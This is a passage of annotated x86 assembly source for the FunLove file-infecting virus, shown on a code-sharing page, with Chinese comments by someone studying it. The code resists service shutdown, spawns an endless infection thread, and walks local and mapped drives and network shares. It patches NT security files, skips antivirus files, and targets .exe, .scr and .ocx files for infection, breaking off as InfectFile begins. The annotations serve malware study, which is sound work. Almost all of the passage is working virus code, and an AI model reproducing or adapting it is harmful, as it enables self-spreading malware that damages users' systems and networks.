📄 funlove_vir.txt
字号:
ret ; if the admin tries to halt the
; service, he‘ll get a system error
ServiceHandler ENDP
; ------------------------------------------------------------------------- ;
; ------------------- Thread Creation Routine ------------------ ;
; ------------------------------------------------------------------------- ;
StartInfectionThread PROC PASCAL NEAR
LOCAL ThreadId : DWORD;定义本地变量threadid,保存线程句柄;
call GetTickCount ;取得随机值;
mov [Rand @],eax ;把得到的值,给变量band保存;
lea eax,ThreadId--------|
push eax |
push 0 |
push 0 |
lea eax,[VThread @] |表示新线程开始执行时代码所在函数的地址,即为线程函 |数
push eax |
push 0 |
push 0 |注意这里的0,表示是立即执行的意思
call CreateThread--------|建立新线程
ret
StartInfectionThread ENDP
; ------------------------------------------------------------------------- ;
; ---------------------------- Viral Thread --------------------------- ;
; ------------------------------------------------------------------------- ;
VThread PROC NEAR
call GetVS ;定位;
call InfectDrives;感染驱动器模块;
push 60d * 1000d---|
call Sleep ------|睡一觉(我都想睡了,继续吧)
call GetRand---------|
and al,1F |
jnz short VThread---|以一定的概率感染本地文件;
call InfectNetwork;开始网络感染;
jmp short VThread;跳转到vthread,继续执行,这是一个死循环;
VThread ENDP
; ------------------------------------------------------------------------- ;
; --------------------- Network Infection Routine --------------------- ;
; ------------------------------------------------------------------------- ;
InfectNetwork PROC NEAR
lea eax,[MPR_Name @]--------|
push eax |
call LoadLibraryA------------|加载mpr.dll库文件;
or eax,eax ---------------|
jz short INet_Failed-------|失败跳转;
push eax---------------------|
lea esi,[MPR_Functions @] |
push esi |
call DLL_Relocate------------|搜索得到mpr.dll中的相关api的地址;
or eax,eax-----------------|
jz short INet_Failed-------|失败跳转;
push 00----------------------|
call NetSearch---------------|开始搜索共享;
INet_Failed:
ret
InfectNetwork ENDP
; ------------------------------------------------------------------------- ;
; ---------------------- Valid Drive Test Routine --------------------- ;
; ------------------------------------------------------------------------- ;
InfectDrives PROC NEAR
push esi
call GetTickCount --|取得当前运行的时间保存,以作为一个随机值
mov [Tick @],eax---|
lea esi,[Buffer1 @] ;取得buffer1的地址,然后初始化,内容为
mov dword ptr [esi],‘ \:@‘ ;@:\,注意,这里的@为a盘的前一个字符
表示这里从a开始;
ID_TestDrive:
mov byte ptr [esi + 03],00--|给字符串后加上0,构造参数
push esi |
call GetDriveTypeA---------- | 判断驱动器的类型;
cmp al,03 -----------|判断是否为不可移动的驱动器(例如硬盘)
jz short ID_DriveOk--------|是则开始感染
cmp al,04 ---------|判断是否为映射的网络盘
jnz short ID_Invalid--------|不是则去做错误处理;证明这个盘符没用了;
ID_DriveOk:
add esi,03;esi加3后,注意它已经指向形如"x:\"的后面;
push esi -------|
call BlownAway----| 给nt打补丁;
push esi -----| 搜索文件;
call FileSearch---|
sub esi,03;回到buffer1的开头,为下一次操作做准备;
ID_Invalid:
mov al,[Buffer1 @]---------|
inc al |
mov [Buffer1 @],al |
|
cmp al,‘Z‘ |
jna short ID_TestDrive-----|循环获取26个盘符
pop esi
ret
InfectDrives ENDP
; ------------------------------------------------------------------------- ;
; ----------------- Recursive Computer Search Routine ----------------- ;
; ------------------------------------------------------------------------- ;
NetSearch PROC PASCAL NEAR
ARG WNetStructAddr:DWORD ; 定义一个指向网络数据结构的指针;
LOCAL EnumBufferAddr:DWORD, \ ; 定义一个变量保存网络缓存的地址;
EnumBufferSize:DWORD, \ ; 定义网络缓存的大小,现在没值
EnumNB_Objects:DWORD ; 定义一个保存枚举机构后的变量来保存枚举数量;
USES esi, edi
mov EnumBufferSize,4000;初始化网络缓存大小为4000;
or EnumNB_Objects,-1 ;初始化枚举变量为ffff,在这里表示为所有的共享资源
lea eax,WNetStructAddr------|
push eax |
push WNetStructAddr |
push 0 |
push 0 |
push 2 |
call WNetOpenEnumA-----------|启动一个枚举过程,产生一个句柄;
or eax,eax-----------------|
jnz NET_Close---------------|失败,关闭网络连接;
push 04 ------------|
push 1000 |
push 4000 |
push 00 |
call VirtualAlloc -----------|分配一块可读写的内存
or eax,eax-----------------|
jz short NET_Close---------|失败,关闭网络连接;
mov EnumBufferAddr,eax ;把分配的虚拟内存的地址值给网络缓存地址变量,
为后面的处理做准备;
NET_00:
mov esi,EnumBufferAddr--------|
|
lea eax,EnumBufferSize |
push eax |
push esi |
lea eax,EnumNB_Objects |
push eax |
push WNetStructAddr |
call WNetEnumResourceA---------|开始枚举共享;
or eax,eax-----------------|
jnz short NET_Free----------|失败,释放虚拟内存空间;
mov ecx,EnumNB_Objects;实际枚举的资源数量
or ecx,ecx;----------------|
jz short NET_00-------------|比较是否有共享,没有就继续找(这里我有个问题
如果一直没有共享资源,岂不是要成死循环?)
NET_01:
push ecx;保存资源数量
push esi;保存网络缓存的地址;
mov esi,[esi + 14] ;得到资源的网络名,形如\\xxx\x
or esi,esi ;是否为空?
jz short NET_03 ;yes,奇怪,空的也可以?:)
cmp word ptr [esi],0041 ;是否为软盘驱动器?
jz short NET_03 ;yes,那么也跳吧 (这里我又个有个问题,看来它的判断 是由共享资源的名字来判断的,如果我给一个文件夹的共 享名取为a呢?会如何呢?)
lea edi,[Buffer1 @] ;都不是,就开始准备构造字符串了;
NET_02:
movsb -----------------|
cmp byte ptr [esi],00 |
jnz short NET_02 |
|
mov al,‘\‘ |
stosb -----------------------|构造形入\\xxx\x\的字符串;
push edi ----------------------|
call BlownAway-----------------|nt补丁文件那一块,这里是远程打补丁了;
push edi --------------------|
call FileSearch----------------|调用文件搜索的过程,开始搜索并感染文件;
NET_03:
pop esi-----------------------|
|
mov eax,[esi + 0C] |
and al,2 |
cmp al,2 |
jnz short NET_04--------------|是否还有其他的由当前的资源包含的可以枚举的
额外的资源
push esi ----------------------|
call NetSearch-----------------|如果有的话,作为参数在一次搜索,这里其实可以 理解为子目录的意思
NET_04:
add esi,20--------------------|
pop ecx |
loop NET_01--------------------|找到了,esi朝后继续找下一个共享;
jmp short NET_00 ;又一次开始枚举网络资源
NET_Free:
push 8000---------------------|
push 00 |
push EnumBufferAddr |
call VirtualFree--------------|释放虚拟内存空间,这里为什么用8000呢
NET_Close:
push WNetStructAddr-----------|
call WNetCloseEnum------------|结束枚举操作;
ret
NetSearch ENDP
; ------------------------------------------------------------------------- ;
; ------------------- Recursive File Search Routine ------------------- ;
; ------------------------------------------------------------------------- ;
FileSearch PROC PASCAL NEAR
ARG CurrentDirEnd : DWORD 从堆栈取得当前的目录字符串的首地址;
LOCAL SearchHandle : DWORD 定义本地变量,保存搜索后找到的文件句柄;
USES esi,edi
mov eax,CurrentDirEnd ;eax保存当前的目录字符串的首地址;
mov dword ptr [eax],002A2E2A ; 在buffer1当前位置后面添加*.*现在的形式就为
x:\*.*
lea edi,[Buffer2 @]--------|
lea esi,[Buffer1 @] |
push edi |
push esi |
call FindFirstFileA---------|寻找文件,把结果放在buffer2里;
cmp eax,-1-----------------|
jz short RS_Exit----------|不成功,咱就走;
RS_00:
mov SearchHandle,eax;保存找到后的句柄;
RS_01:
test byte ptr [edi],10------|
jz short FileTest---------|判断是文件还是目录,注意“."和
"..",如果是文件就进行测试,是目录的话就继续深入 ,一层一层扩展;
RS_Directory:
cmp byte ptr [edi + 2C],‘.‘---|如果是当前目录,就开始找;
jz short RS_Next-------------|
mov esi,edi-------------------|
add esi,2C--------------------|取得目录名,这里是除了保留目录外的其他目录名
mov edi,CurrentDirEnd;回到字符串的位置为后面构造字符串做准备;
RSD_00:
movsb ----------|
cmp byte ptr [esi],0 |
jnz short RSD_00----------|构造形状如x:\x的字符串
mov al,‘\‘----------------|在后面加上"\",buffer1里面现在的
stosb -------------|形状如x:\x\
push edi --------|
call FileSearch --------|在一次搜索,这时当前目录名也变了(如果这里用
递归的话?)
RS_Next:
lea edi,[Buffer2 @]-------|
push edi |
push SearchHandle |
call FindNextFileA---------|继续寻找下一个目录
or eax,eax---------------|
jnz short RS_01 |没有东西了,表示本目录下没有文件或目录了
|那么就关闭,如果有就继续找;
push SearchHandle |
call FindClose-------------|
RS_Exit:
ret
FileTest:
mov edx,[edi + 2C]--------|
or edx,20202020 |把文件的扩展名
xor edx,61F81F61----------|大写转小写,然后把非字母的转回去,比如”."号
lea esi,[SkipNames @] ----------------------|
mov ecx,0C;12次,因为后面有12个文件名字 |
|
FT_00: |
lodsd |
cmp edx,eax ;比较是否为杀毒软件的开头字符; |
jz short FT_Exit;如果是就去找下一个; |
|
loop FT_00 ----------------------------------|查找是否是杀毒软件的文件名;
mov esi,edi--------------------------|
add esi,2C |
|
FT_01: |
lodsb |
or al,al |
jnz short FT_01 |
|
mov eax,[esi - 4] |
or eax,20202020---------------------|如果不是杀毒文件的话,就取的它的扩展 名开始比较
cmp eax,‘ xco‘----------------------|
jz short FT_02 |
|
cmp eax,‘ rcs‘ |
jz short FT_02 |
|
cmp eax,‘ exe‘ |
jnz short FT_Exit-------------------|比较是否是我们想感染的文件类型;
FT_02:
mov eax,[edi + 20]---------------|
cmp eax,2000 |
jc short FT_Exit----------------|比较文件大小是否可以值得感染,不小于2k
cmp al,03 ------------------|
jz short FT_Exit------------|这里是判断是否是感染后的文件,是则退出感染
lea esi,[Buffer1 @]-----------|
lea edi,[Buffer3 @] |
push edi |
|
mov ecx,CurrentDirEnd~~~~~~~~~|计算当前的字符串的长度
sub ecx,esi~~~~~~~~~~~~~~~~~~~|这2句;
repz movsb---------------------|这里是得到目录路径了,为下面的感染构造字符串
lea esi,[Buffer2 @]-----------|
add esi,2C |
|
FT_03: |
movsb |
cmp byte ptr [esi - 1],0 |
jnz short FT_03---------------|得到文件名,至此,一个绝对路径的字符串构造成 功
call InfectFile 开始感染
FT_Exit:
jmp RS_Next
FileSearch ENDP
; ------------------------------------------------------------------------- ;
; ----------------------- File Infection Routine ---------------------- ;
; ------------------------------------------------------------------------- ;
InfectFile PROC PASCAL NEAR
ARG i_Filename : DWORD ;从堆栈得到文件名;
LOCAL i_FileHandle : DWORD, \定义本地变量,用于保存文件句柄;
i_FileSize : DWORD, \定义本地变量,用于保存文件大小;
i_BytesRead : DWORD, \定义本地变量,用于保存文件的实际读写字节数
i_VirusOffset : DWORD, \定义本地变量,用于保存病毒的偏移地址;
i_MapHandle : DWORD, \定义本地变量,用于保存内存映射文件的句柄;
i_HostDep32 : DWORD, \定义本地变量,用于保存
i_EP_Offset : DWORD 定义本地变量,用于保存
USES esi,edi ;保存esi,edi的值,本过程结束后自动恢复;
push i_Filename---------|
push 03 |
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -